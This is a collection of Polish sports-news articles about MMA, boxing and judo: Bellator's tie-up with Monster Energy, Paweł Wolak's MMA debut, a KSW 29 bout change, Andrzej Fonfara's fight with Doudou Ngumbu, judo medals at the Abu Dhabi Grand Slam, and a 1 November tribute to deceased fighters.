Szef Bellatora Scott Cocker powiedział: – Sądzę, że nasza obecność na tej imprezie spotkała się z pozytywnym odzewem publiczności. Widzowie zgromadzeni w Las Vegas pozytywnie odebrali nową atrakcję jaką były walki MMA. Dla Cockera to znak, że poważnie trzeba zastanowić się nad dalszą współpracą. Zwłaszcza, że Monster Energy optuje za dalszą kooperacją.
Oczywiście, najważniejsze są zawody motocrossowe, jednak MMA miałoby być jedną z atrakcji imprez. Czy Bellator na stałe zajmie miejsce u boku Monster Energy i zmieni swoją politykę? Dla Bellatora to bardzo dobra okazja do promocji, nawiązania nowych kontaktów biznesowych, a przede wszystkim poszerzenia grupy zainteresowanych. Coker otwarcie przyznaje, że liczy na rozwój współpracy z Monster Energy i nie wyklucza, iż w przyszłym roku jedna z głównych gal organizacji mogłaby się odbyć przed zawodami motocrossowymi.
Z pewnością takie połączenie dałoby korzyści obu stronom. Kolejne atrakcja przyciągałaby nowych widzów i zwiększała dochody obu organizacji. Z jednej strony Bellator ma szanse wypromować się na kolejnej płaszczyźnie, z drugiej strony wartość zawodów motocrossowych może wydatnie zwiększyć się. Finansowo obie strony mogą zyskać. Pierwsza gala była próbą. Obie strony wyrażają zadowolenie, jednak jeśli dojdzie do dalszej współpracy to Bellator musi podejść do organizacji wydarzenia w pełni profesjonalnie. Jeśli liczy na zyski musi postawić na nazwiska, mocnych i znanych zawodników, którzy pokażą prawdziwą wartość MMA.
Bellator wychodzi z cienia? Czy to może zagranie ratunkowe? Tego nie wiemy. Dalszą współpracę Belltora i Monster Energy zweryfikują widzowie i to oni będą najlepszym recenzentem, także finansowym. Można krytycznie oceniać ten pomysł Bellatora, jednak główną kwestią są tutaj pieniądze. Organizacja poszerza swoje pole działania. Tyle tylko, że w tym połączeniu Bellator jest cieniem Monster Energy. Czy o to chodzi?
KM
Wszystko zakończyło się dobrze – tak można skwitować całą sprawę. Paweł Wolak miał problemy, aby zadebiutować w MMA. Udało się jednak i zawodnik 5 grudnia stoczy swoją pierwszą walkę w formule MMA.
Były bokser wystąpi na gali Matrix Fights 9 w Filadelfii (Pensylwania, USA). Tym samym spełni swoje wielkie marzenie i zadebiutuje w formule MMA. Wolak przygotowywał się pilnie do tej walki. Po zakończeniu kariery bokserskiej postawił na mieszane sztuki walki, co do których ma określony plan. Wolak nie ukrywa, że chce zostać mistrzem i nie traktuje MMA wyłącznie jako zabawy. Wściekły Byk do kwestii mieszanych sztuk walki podchodzi bardzo poważnie. Jak zostało już wspomniane, po odwieszeniu rękawic podjął się treningów, które trwają już kilka lat. Wolak uczy się MMA pod okiem najlepszych. Treningi pod okiem byłego mistrza Bellatora wagi lekkiej Eddiego Alvareza czy legendy mieszanych sztuk walki Renzo Gracie są ogromnym kapitałem. Oprócz boksu Wolak ma również doświadczenie zapaśnicze, co w kontekście MMA może mu tylko pomóc.
Wreszcie – może odetchnąć z ulgą Wolak. 5 grudnia będzie mógł zadebiutować w MMA podczas gali Matrix Fights 9 w Filadelfii. Były bokser pojawił się już na plakatach promujących imprezę. Wolak przedstawiany jest jako były mistrz wagi junior średniej WBC USNC. Dlaczego do pierwszej walki nie doszło wcześniej?
Wolak miał zadebiutować w MMA 11 października na gali APFC 17 w Chicago. Dlaczego do tego nie doszło? Mówiąc najkrócej Wolak nie dostał pozwolenia. Komisja Stanowa Illinois uznała, że zawodnik nie ma odpowiedniego doświadczenia, aby stoczyć walkę w formule MMA. Aby mógł odbyć profesjonalny pojedynek powinien mieć na swoim koncie pięć starć amatorskich. Nawet opinia Eddiego Alvareza, który zachwalał umiejętności Wolaka nie pomogła w pozytywnym rozstrzygnięciu sprawy. Na przeszkodzie stanęły względy formalne i były bokser musiał czekać. Warto dodać, że amerykańskie media też zainteresowały się tą sprawą. Decyzję Komisji uznano za absurdalną.
Mimo wszystko życie toczy się dalej. Pojawiła się kolejna propozycja, inny stan i problemy zniknęły. Wolak pojawi się 5 grudnia w oktagonie. Na plakatachpromujących galę jest twarz
Wolaka, co świadczy o uznaniu względem byłego boksera. Wszyscy doskonale pamiętają walkę z Delvinem Rodriguezem. Wtedy to Wolak pokazał charakter i serce do walki. Miał tak opuchnięty oczodół, że praktycznie nic nie widział, ale chciał kontynuować pojedynek. Ostatecznie starcie oceniono jako remisowe. Walka zdobyła uznanie i została doceniona przez amerykańskie Stowarzyszenie Dziennikarzy Piszących o Boksie. Wolak tym samym udowodnił, że jest prawdziwym wojownikiem.
Zakończył karierę bokserską i postawił na MMA. Długo czekał na debiut. Droga ku jego występom w MMA była kręta, jednak wszystko wskazuje na pozytywny koniec. Treningi pod okiem Alvareza i Renzo Gracie muszą przynieść efekt. Należy docenić takie podejście zawodnika, który nie rzuca się na głęboką wodę, lecz trenuje, aby jak najlepiej przygotować się do startów. Jak widać na powyższym przykładzie – jeśli czegoś się bardzo chce to nic nie stoi na przeszkodzie. Teraz już tylko sport i debiut w MMA.
KM
Coraz częściej dochodzą do nas informacje na temat kolejnych gwiazd KSW 29 i przeważnie nie są to pozytywne doniesienia. Najpierw okazało się, że z powodu kontuzji na gali nie wystąpi Michał Materla. Ciosem dla wielu była informacja o kontuzji Tomasza Drwala. Wszyscy zacierali już ręce z myślą, że 6 grudnia dojdzie do mega walki w polskim MMA – Khalidov – Drwal, jednak trzeba to odłożyć w czasie. Z powodu kontuzji z KSW 29 musiał wycofać się rywal Piotra Strusa – Abu Azaitar.
Obaj panowie mieli spotkać się po raz drugi. Na KSW 27 w Gdańsku Strus i Azaitar stoczyli pojedynek, który zakończył się remisem. Teraz miało się okazać, kto jest lepszym i mocniejszym fighterem. Do starcia nie dojdzie z powodu kontuzji ręki niemieckiego zawodnika. KSW szybko znalazła godnego rywala dla Strusa.
Nie byle kogo. Nazwisko znane na polskim rynku mieszanych sztuk walki. Zawodnik ciekawy, mocny, doświadczony i z pewnością wymagający. Rywalem Strusa będzie Jay Silva. Amerykanin zapisał piękną kartę w KSW poprzez pojedynki z Michałem Materlą. Rywalizację między Silvą, a Cipkiem określono nawet mianem trylogii. A zaczęło się tak niewinnie. W 2012 roku Amerykanin przyjechał do Polski na KSW 19 i wyjechał na tarczy. Materla wygrał decyzją sędziów. Na tym się nie skończyło. Silva wrócił i skarcił Materlę. Na KSW 24 Silva znokautował naszego zawodnika w drugiej rundzie. W takim wypadku remis – 1:1. Nie można było tego tak zostawić. Silva pojawił się w Polsce po raz trzeci. Hitem KSW 26 była właśnie walka Amerykanina z Michałem Materlą. Decyzją sędziów zwyciężył Cipao, jednak niedosyt pozostał, iż nie udało się pokonać rywala w sposób efektowny. Tak do tej pory przebiegała historia występów Jaya Silvy na KSW.
Teraz Amerykanin przyjedzie do Polski po raz kolejny. Czwarty już. Tym razem zmierzy się z innym rywalem. Dla Piotra Strusa będzie to ogromne wyzwanie. Pierwszy tak wymagający przeciwnik w karierze 26-letniego fightera. Włodarze KSW postawili przed Strusem wielkie wyzwanie, ale dali mu tym samym szansę. Aby wykazał się i udowodnił swoją wartość. Jeśli wygra – zbliży się do pasa KSW. Prawdę mówiąc nadszedł czas, aby dojrzał jako fighter i sprawdzał się w pojedynkach z mocnymi rywalami. Co do tego, że Silva jest lepszym zawodnikiem niż Azaitar nie ma żadnych wątpliwości. Amerykanin jest silny i niezwykle mocny. Materla wygrał z nim dwa razy, ale nie udało mu się rozstrzygnąć walki przed czasem. Jeśli Strus wygra skoczy wyraźnie w rankingach kategorii średniej i jego kariera może nabrać rozpędu. Zawodnik z Nastula Team ma miesiąc, aby bardzo dobrze przygotować się do rywalizacji z Silvą. Z pewnością treningi pod kątem starcia z Azaitarem wyglądały zupełnie inaczej.
Pod znakiem zapytania stanęła za to walka Jaya Silvy z Christianem M’Pumbu na glai Fightor MMA, która odbędzie się 13 grudnia. Amerykanin dobrze czuje się w naszym kraju. Czwarty raz na KSW, po raz pierwszy z innym rywalem.
Po niemiłych informacjach na temat gali KSW 29 – kontuzje Materlii i Drwala – nadeszła pozytywna. Mocne nazwisko, ciekawy zawodnik. Silva vs Strus. Będzie się działo?
KM
Andrzej Fonfara pokonał kolejny punkt na swojej drodze do tytułu mistrza świata wagi półciężkiej. Polak wygrał jednogłośnie na punkty pojedynek z Doudou Ngumbu.
Fonfara uchodził za faworyta walki. Polak jest bokserem obytym na zawodowych ringach i toczył trudne pojedynki, dla Ngumbu starcie z naszym pięściarzem była dużym wyróżnieniem i szansą. Fonfara rozpoczął walkę spięty, co wykorzystał rywal. Ngumbu walczył statycznie i szukał swojej szansy poprzez zadawanie mocnych sierpowych. Polski pięściarz miał problemy z obroną, przez co kilkukrotnie odczuł ciosy przeciwnika. Przez pierwsze trzy rundy można było niepokoić się o postawę Fonfary, gdyż mówiąc wprost – walczył sztywno. Dopiero w piątej odsłonie Polak przeprowadził akcję, która jasno wskazała, kto jest lepszym bokserem. Fonfara trafił przeciwnika lewym sierpowym i dopadł go pod linami. Ngumbu poszedł w klincz, co było jedynym słusznym rozwiązaniem dla niego. Rywal chciał walczyć, co widać było w szóstej rundzie, kiedy z mocnego zamachu trafił w matę. Wyglądało to dość ciekawie oraz wskazywało na zaangażowanie Francuza. Fonfara w końcu przejął kontrolę nad pojedynkiem i dyktował warunki. Wykorzystał swoją przewagę zasięgu ramion. Skutecznie uderzał prostymi, co pozwalało budować mu swój kapitał punktowy w tym pojedynku.
Francuz był o tyle niewygodnym rywalem, że zaskakiwał nieprzyjemnymi sierpami. Od siódmej rundy przyjął taktykę, żeby jak najczęściej klinczować. Początek walki w jego wykonaniu był dobry i na tej podstawie liczył na sukces. W końcówce chciał zaskoczyć Polaka jednym czy drugim sierpowym i sam poprzez klinczowanie liczył na unikanie ciosów Fonfary. Nasz pięściarz był jednak aktywny. Starał się wykorzystać swoją przewagę zasięgu ramion. W samej końcówce Ngumbu dostał kilka mocnych ciosów, jednak wytrwał do ostatniego gongu. Sędziowie zdecydowanie wskazali na Fonfarę – 98-92, 97-93, 97-93.
Polak zrealizował swoje zadanie – wygrał. Walka nie była z kategorii tych, o których mówi się latami. Fonfara po prostu wykonał swoją robotę. Mimo wszystko należy zaznaczyć, że Ngumbu okazał się niewygodnym rywalem. Francuz to twardy i odporny na ciosy zawodnik. Na początku pojedynku zaskoczył Fonfarę sierpowymi, a być może to Polak wyszedł do ringu przestraszony? Być może był po prostu uważny? Mimo wszystko początek pojedynku w wykonaniu Fonfary nie wyglądał najlepiej. W odpowiednim momencie Polak przejął kontrolę nad walką, wykorzystał swoją przewagę i mógł cieszyć się ze zwycięstwa, gdyż sędziowie nie mieli wątpliwości, co do zwycięzcy.
Fonfara sprawił sobie dobry prezent na urodziny. Dwudzieste szóste zwycięstwo na zawodowym ringu. Kolejny punkt na drodze do upragnionego celu pokonany. Kto będzie kolejny? Kiedy walka o mistrzostwo świata? Fonfara dąży do swojego celu. Teraz czas na rywali z wyższej półki.
KM
W tym sezonie niemalże stało się regułą, że z każdych zawodów judo przywozimy jakiś medal. Nie inaczej było i tym razem. Na Grand Slam w Abu Zabi wywalczyliśmy trzy medale.
Zawisły one na szyjach Agaty Ozdoby (-63 kg). Katarzyny Kłys (-70 kg) oraz Macieja Sarnackiego (+100 kg). Obie nasze zawodniczki w tym sezonie prezentują się bardzo dobrze. Ozdoba z mistrzostw Europy przywiozła brązowy medal, z kolei Kłys po jedenastu latach wywalczyła dla Polski krążek na mistrzostwach świata – brąz. Warto podkreślić, że ta druga bardzo dobrze prezentuje się również w zawodach Grand Prix i jest dużą nadzieją na medal olimpijski w Rio de Janeiro.
W sobotę w Abu Zabi obie wywalczyły brąz. Kłys przyszło rywalizować z dobrze sobie znaną rywalką – Assmą Niang. Warto przypomnieć, że Polka walczyła z Marokanką podczas Grand Slam w Baku. Co ciekawe, też w starciu o brąz i również to starcie wygrała. Kłys zdominowała rywalkę i zwyciężyła przed czasem. Tym razem Niang miała za sobą ogromne wsparcie publiczności, jednak ono jej nie pomogło. Marokanka została ukarana za swoją bierność, a Kłys naciskała na swoją przeciwniczkę. Polka uzyskała waza ari, jednak na tym nie poprzestała. Niang była bezsilna. Ippon Kłys zakończył walkę i dał jej kolejny medal w tym sezonie.
Z kolei Agata Ozdoba po raz pierwszy w swojej karierze mierzyła się Estafanią Garcia z Ekwadoru. Brązowa medalistka mistrzostw Europy nie czekała zbyt długo na rozstrzygnięcie walki. Polka rozprawiła się z reprezentantką Ekwadoru bardzo szybko. Garcia musiała uznać wyższość Ozdoby, której ippon nie pozostawiał złudzeń – Polka zasłużyła w pełni na brąz.
W sobotę powody do dumy dały nam Kłys i Ozdoba, a w niedzielę na podium stanął Maciej Sarnacki. Nasz judoka spisał się bardzo dobrze. Sarnacki przegrał w ćwierćfinale z numerem jeden turnieju w Abu Zabi Renatem Saidovem, jednak zwyciężył w walce repasażowej. W rywalizacji o brąz Polak spotkał się z reprezentantem Austrii Danielem Allerstorferem. Sarnacki dominował, w końcówce zwycięstwo przypieczętował poprzez waza-ari.
Nasi reprezentanci wywalczyli w Abu Zabi trzy brązowe medale. W sobotę triumf święciły Katarzyna Kłys i Agata Ozdoba, w niedzielę cieszyliśmy się z postawy Macieja Sarnackiego. Podczas całego turnieju biało-czerwonym nie wyszedł tylko jeden dzień. W piątek Polacy nie wygrali ani jednej walki. Karolina Pieńkowska, Arleta Podolak i Paweł Zagrodnik polegli w 1/16 finału. W 1/8 walczyła Agata Perenc, ale tylko dlatego, że wycofała się Priscilla Gneto. Polce przyszło mierzyć się z Natalią Kuziutiną. Rosjanka wygrała przez ippon. Warto dodać, że Kuziutina to aktualna brązowa medalistka mistrzostw świata i srebrna mistrzostw Europy. Warto zaznaczyć, że w sobotę w kategorii 73 kg wystartował Krzysztof Wiłkomirski. Doświadczony zawodnik wrócił do kadry po dwuipółletniej przerwie, jednak w Abu Zabi swój udział zakończył na 1/32 finału.
Trzy medale zdobyte podczas Grand Slam w Abu Zabi cieszą, jednak pozostaje pewien niedosyt. Ostatnimi czasy nasi reprezentanci regularnie zdobywają medale na turniejach międzynarodowych, ale brakuje Polaka na najwyższym stopniu podium. Nie bójmy się o tym mówić. Polskie judo idzie w dobrą stronę i przydałby się triumf, pierwsze miejsce, które byłoby swego rodzaju potwierdzeniem. Oczywiście medale cieszą, ale zawsze pozostaje "ale". Apetyt rośnie w miarę jedzenia? Właśnie tak. Warto przyzwyczajać się do zdobywania medali. Polskie judo idzie w dobrym kierunku. Oby tak dalej. Trzy medale, nawet koloru brązowego, są bardzo dobrym rezultatem. Formę potwierdziła Katarzyna Kłys, Agata Ozdoba pokazuje, że stać ją na dobre występy i medal mistrzostw Europy to nie przypadek. Maciej Sarnacki dał nadzieję, że wśród panów też może być lepiej.
Wyniki kategorii, w których medale zdobywali Polacy:
Panie -63 kg
1. TRSTENJAK, Tina (SLO)
2. VAN EMDEN, Anicka (NED)
3. OZDOBA, Agata (POL)
3. TRAJDOS, Martyna (GER)
5. GARCIA, Estefania (ECU)
5. UNTERWURZACHER, Kathrin (AUT)
7. BARKELING, Emma (SWE)
7. YANG, Junxia (CHN)
Panie – 70 kg
1. VARGAS KOCH, Laura (GER)
2. GRAF, Bernadette (AUT)
3. KLYS, Katarzyna (POL)
3. ZUPANCIC, Kelita (CAN)
5. NIANG, Assmaa (MAR)
5. TSEND AYUSH, Naranjargal (MGL)
7. CONWAY, Sally (GBR)
7. FLETCHER, Megan (GBR)
Panowie +100 kg
1. NATEA, Daniel (ROU)
2. SIMIONESCU, Vladut (ROU)
3. MEYER, Roy (NED)
3. SARNACKI, Maciej (POL)
5. ALLERSTORFER, Daniel (AUT)
5. SAIDOV, Renat (RUS)
7. EL SHEHABY, Islam (EGY)
7. TAYEB, Mohammed Amine (ALG)
KM
Najlepszy polski zawodnik wagi półciężkiej wraca do ringu. W nocy z soboty na niedzielę Andrzej Fonfara zmierzy się z Doudou Ngumbu.
Pojedynek odbędzie się w hali UIC Pavilion w Chicago. Za faworyta walki uchodzi Fonfara. Pozycja The Polish Prince znacznie wzrosła po majowym starciu z Adonisem Stevensonem. Polak pokazał kawał dobrego boksu w pojedynku z rywalem, który uchodzi za jednego z najgroźniejszych, najtwardszych zawodników w wadze półciężkiej. Fonfara przegrał ze Stevensonem na punkty, jednak zaprezentował się z bardzo dobrej strony. W dziewiątej rundzie Polak po ostrej wymianie posłał rywala na deski, co wlało w serca rodaków nadzieję na zwycięstwo. Skończyło się porażką, ale Fonfara pokazał, że ma charakter, serce do walki i potrafi walczyć. Wydawać by się mogło, iż pojedynek przegra dość szybko. Warto wspomnieć, że już w pierwszej rundzie Fonfara znalazł się na deskach, jednak podniósł się i toczył wyrównany pojedynek. Polak dojrzał jako bokser do rywalizacji z najlepszymi.
Stracie z Ngumbu ma być przetarciem przed poważniejszymi pojedynkami. Fonfara nie ukrywa, że jego celem jest walka o mistrzostwo świata. Kwestią fundamentalną jest to, iż musi stoczyć kilka zwycięskich pojedynków, aby realnie myśleć o pasie. Z jednej strony pokazał, że ma potencjał, ale porażka ze Stevensonem zdegradowała go w hierarchii. Czy walka z Ngumbu wywinduje Fonfarę w górę? Raczej nie. Polak jest zdecydowanym faworytem pojedynku, którego stawka nie jest wygórowana. Polak ma wejść do ringu i mówiąc po chłopsku „zrobić swoje”.
Z kolei dla Ngumbu to ważny i istotny pojedynek. Rywal Polaka długo przygotowywał się do tego starcia. Dla niego ważny jest sam fakt, że przychodzi krzyżować mu rękawice ma amerykańskiej ziemi. Ngumbu docenia rangę tego wydarzenia i chce wykorzystać swoją szansę. Tylko czy umiejętności mu na to pozwolą? Ciężkie treningi mogą dać efekt w postaci dobrego przygotowania kondycyjnego. Ngumbu dostrzega swoją szansę, pojedynek z Fonfarą jest dla niego swego rodzaju punktem zwrotnym. Przychodzi mu stoczyć walkę z bardzo dobrym bokserem. Wygrana otwiera mu drogę do rozwoju własnej kariery. Czy podoła?
Siła ciosu Fonfary powinna zrobić wrażenie na Ngumbu. Choć Polak docenia klasę rywala to jest zdecydowanym faworytem i nie ucieknie od tego. To Fonfara będzie prowadził walkę, decydował o jej przebiegu. Ngumbu postawi na swoją szybkość, dobre przygotowanie i będzie szukał okazji do zaskoczenia naszego boksera. A Fonfara? Jak pokazał w listopadzie 2012 roku w pojedynku z Karpency’m – może boksować nawet ze złamaną ręką.
Liczymy na Fonfarę, gdyż realnie ma szansę na to, aby walczyć o mistrzowski pas. Ma unormowaną pozycję i na każdym kroku pokazuje swój bokserski potencjał. W nocy z soboty na niedzielę stanie w ringu z doświadczonym rywalem, który do tej pory stoczył 38 pojedynków, z których trzydzieści trzy wygrał, a pięć przegrał. Polak smaku porażki zaznał trzy razy, ręce w geście triumfu wznosił dwadzieścia pięć razy. Czy teraz będzie dwudziesty szósty raz?
Walka na dystansie dziesięciu rund. Fonfara może szukać nokautu, gdyż potrafi posyłać rywali na deski. Jeśli mądrze poprowadzi walkę to z pewnością sędziowie nie będą mieli wątpliwości. Faworyt jest jeden. 4 listopada nasz bokser ma urodziny, więc musi sprawić sobie prezent. Jak sam podkreśla patrzy dalej. Ngumbu jest punktem, cel jest o wiele dalej. Tyle tylko, że najpierw trzeba przeskoczyć punkt i nadal uparcie dążyć do realizacji założonego celu.
KM
Dzień 1 listopada wiąże się z refleksją dotykającą rozległych aspektów życia. Życia, w którym często umykają nam ważne chwile. Ten dzień jest o tyle istotny, że pozwala na chwilę zatrzymać się i zastanowić nad samym sobą, a przede wszystkim – daje możliwość odkrycia wartości ludzi. Ludzi, których z nami nie ma.
Pamięć musi trwać. W pewnym sensie szacunek do przeszłości jest jednym z najistotniejszych aspektów naszego bytowania. Oddajemy cześć tym, których już z nami nie ma. Bo tak naprawdę nie odchodzi od nas ten, który nadal trwa w naszych sercach. To jest istota dnia 1 listopada, ażeby wspomnieć tych wszystkich, których kochaliśmy, ceniliśmy, wzorowaliśmy się na nich, darzyliśmy sympatią czy uznaniem. Ten czas ma wymiar szczególny. Pozwala nam zastanowić się nad naszym życiem i pochylić się nad innymi. Dzień, w których wartość człowieka nabiera największej istoty.
W sportach walki jest to widoczne. Żegnamy wielkich mistrzów, olimpijczyków, prawdziwych fighterów. Tych, którzy porywali publiczność, ale byli ludźmi. Jednak ich droga życiowa zakończyła się. Sporty walki w różnych odsłonach charakteryzuje pewne ryzyko. Ryzyko utraty zdrowia, a nawet życia. Mimo wszystko oni wkładali całe serce, aby walczyć. Związali swoje życie ze sportami walki – często wygrywali, jednak w pewnym momencie stanęli naprzeciw rywala, który okazał się silniejszy. W tym miejscu otwiera się szansa dla nas. Abyśmy podnosili tę pamięć o nich – wielkich mistrzach i fighterach. Oni budowali swoją postawę piękno sportów walki, poświęcali swoje życie na rzecz podnoszenia dorobku poszczególnych dyscyplin. Dostarczali emocji i wrażeń, a my teraz powinniśmy w pokorze wspomnieć ich i oddać im cześć.
W 2014 roku pożegnaliśmy wiele wybitnych postaci ze świata sportów walki. Odszedł Zbigniew Pietrzykowski. 19 maja całą Polskę obiegła ta smutna informacja. Były znakomity bokser, olimpijczyk, trener, niedościgniony mistrz. Rekordzista pod względem występów w reprezentacji Polski, dla której walczył aż 44 razy. W swojej karierze pojedynkował się w kategoriach: lekkośredniej, średniej oraz półciężkiej. Cztery razy był mistrzem Europy. Wielokrotny medalista olimpijski – brąz w Melbourne w 1956 roku, srebro w Rzymie w 1960 roku, gdzie w finale poległ z Muhammadem Alim, oraz brązowy medal w Tokio w 1964 roku. Jedenastokrotny mistrz Polski zmarł w wieku 79 lat.
W 2014 roku pożegnaliśmy Józefa Wiśniewskiego. Urodzony w 1943 roku swoje życie poświęcił dla judo. Działał na rzecz rozwoju tej dyscypliny. Był trenerem i prezesem klubu Czarni Bytom. W latach 1996 – 2004 zajmował stanowisko prezesa Polskiego Związku Judo.
W wieku zaledwie 31 lat zmarła Phindile Mwelase. Pięściarka z Republiki Południowej Afryki została znokautowana w walce z Liz Butler i straciła przytomność. Obrażenia głowy były zbyt poważne. Mwelase zmarła w szpitalu. W wieku 29 lat zmarł Booto Guylain, zawodnik MMA z RPA. Fighter podczas gali EFC Africa doznał poważnych obrażeń głowy. Zmarł w szpitalu.
Dave Legano odszedł w wieku 50 lat. Brytyjski zawodnik MMA, znany z serii filmów o Harrym Potterze zmarł w związku z udarem cieplnym. Legano wybrał się na wspinaczkę w Dolinę Śmierci, gdzie panowała temperatura w granicach 50 stopni Celsjusza. Ciało 50-latka znaleźli przypadkowi turyści.
W tragicznych okolicznościach zginął polski zawodnik MMA – Piotr „Zwierzak” Muszyński. Wypadł z balkonu i zginął na miejscu. Muszyński postanowił zakończyć swoją przygodę z MMA, w której strukturach prezentował się bardzo dobrze. Wygrał pierwsze cztery pojedynki, jednak po pierwszej porażce załamał się.
W wieku 43 lat zmarł Sean O'Haire. Znany wrestler, kickbokser, zawodnik K-1, swoich sił próbował również w MMA. Bardzo barwna i charakterystyczna postać. O’Haire występował w takich organizacjach jak PRIDE, K-1 HERO’s czy WWE. W 2014 roku zmarł Dan Goossen, jeden z najbardziej znanych promotorów w świecie bokserskim. Przyczyna zgonu był nowotwór wątroby. Goossen miał 64 lata.
W wieku 23 lat odszedł meksykański bokser wagi piórkowej – Oscar Gonzalez. Zawodnik zmarł na skutek doznanych obrażeń głowy dwa dni po swojej walce. Gonzalez po nokaucie w 10.rundzie stracił przytomność, lekarze byli bezradni. 74 lat przeżył Jimmy Ellis. W latach 60 i 70 był czołową postacią wagi ciężkiej w boksie.
Musimy pamiętać, że 1 listopada to nie krótkowzroczna refleksja skierowana na ostatnie miesiące. Pamięć należy się wszystkim. Wspomnijmy również tych, których osiągnięcia, osobowość, styl oraz talent zapisały się w historii sportów walki. Dopóki pamięć trwa… człowiek nie umiera.
Wspomnijmy Albertusa Johannesa Wesselesa. Kick-bokser z RPA zmarł w wieku zaledwie 28 lat. Po jednej z swoich walk w formule light – contact upadł, ale szybko trafił do szpitala. Po pięciu dniach zmarł. Wesseles był bardzo utalentowanym zawodnikiem, uczestnikiem mistrzostw świata. 51 lat miał Jacob Matlala, gdy zmarł. Bokser z RPA był zaangażowany w walkę z apartheidem. Zostanie zapamiętany jako najniższy w historii bokserski mistrz świata.
Wielka postać. Nie ma go z nami już dwa lata. Wyborny, perfekcyjny bokser i pełen charyzmy komentator sportowy. Jerzy Kulej odszedł od nas w lipcu 2012 roku, jednak pamięć po nim trwa i trwać będzie. Kulej to historia polskiego boksu. Mistrz olimpijski z Tokio i Meksyku.
Niewielu Europejczyków dostąpiło zaszczytu nadania 10 stopnia dan w Judo. A on tego dokonał. Jego talent był ogromny, potrafił być najlepszy w dyscyplinie, w której dominowali wyłącznie Japończycy. Potężny – 201 cm i ponad 140 kg wagi – Antonius Johannes Geesink. Holender zmarł cztery lata temu. W swojej bogatej karierze dwukrotnie był mistrzem świata, a w Tokio wywalczył złoty medal olimpijski.
Trzy lata temu odszedł Ryszard Świerad, wybitny zapaśnik i trener. W 1981 roku wywalczył mistrzostwo świata w stylu klasycznym. Ponadto, był medalistą mistrzostw Europy. Czternaście lat temu zmarł Anthony Hug. Znakomity szwajcarski karateka stylu kyokushin oraz zawodnik K-1. Hug znany był z widowiskowego stylu walki, którym przyciągał uwagę publiczności. Przez wielu uznawany jest za jednego z najlepszych zawodników K-1 w historii.
Mike Bernardo był bardzo dobrym kickbokserem, który swoich sił próbował również w boksie. Zmarł w 2012 roku w wieku zaledwie 42 lat. W kickboxingu stoczył ponad 50 walk. Wywalczył mistrzostwo oraz wicemistrzostwo w formule K-1. Ponadto, był mistrzem świata WBF wagi ciężkiej w boksie. W 2013 roku zmarł Ramon "Diamond" Dekkers . Najbardziej znana biała twarz w muay tai. Dekkers podczas przejażdżki na rowerze spadł z pojazdu i zmarł. Walczył na ringach Europy, Japonii i Tajlandii. Osiem razy był mistrzem świata w tajskim boksie.
Leszek Drewniak był postacią, która poświęciła się karate. Szerzył idee tej dyscypliny w Polsce, kładł fundamenty pod rozwój karate w Polsce. Znakomity trener i wychowawca. Jeden z założycieli Polskiego Związku Karate. Zmarł wieku 55 lat.
Niesamowite serce do walki. Mistrz olimpijski z Tokio z 1964 roku w wadze ciężkiej. Wielki mistrz tej kategorii królewskiej. Chłopak z farmerskiej rodziny, którego lewy sierpowy powalił niejednego tytana. Joe Frazier zmarł wieku 67 lat. Był wielkim bokserem.
Wspominamy wielkich mistrzów i fighterów. Jak widać w sportach walki ważną rolę odgrywa serce i poświęcenie się, całkowite oddanie. Wielu swoje życie kształtowało poprzez konkretną dyscyplinę. Dzięki nim mamy, co wspominać i sami musimy kontynuować ich dorobek. Życie uczy, że warto podejmować wysiłek. Wiele przykładów tu wymienionych uzmysławia nam, że sporty walki niesamowicie rozwijają człowieka. Oni swoje zrobili. Teraz nam pozostaje o nich pamiętać. Pamięć musi być żywa. Walczmy o nią razem. Wiele wybitnych postaci nie ma już pośród nas. Refleksja dnia 1 listopada jest nam niezwykle potrzeba w aspekcie czysto ludzkim. Zatrzymajmy się na chwilę. Zastanówmy się nad tym, co dla nas najważniejsze w tym wszechobecnym pędzie. Wspomnijmy tych, których już nie ma.
KM
Zapraszamy do obejrzenia zawodów Judo w Abu Dhabi.
[kod]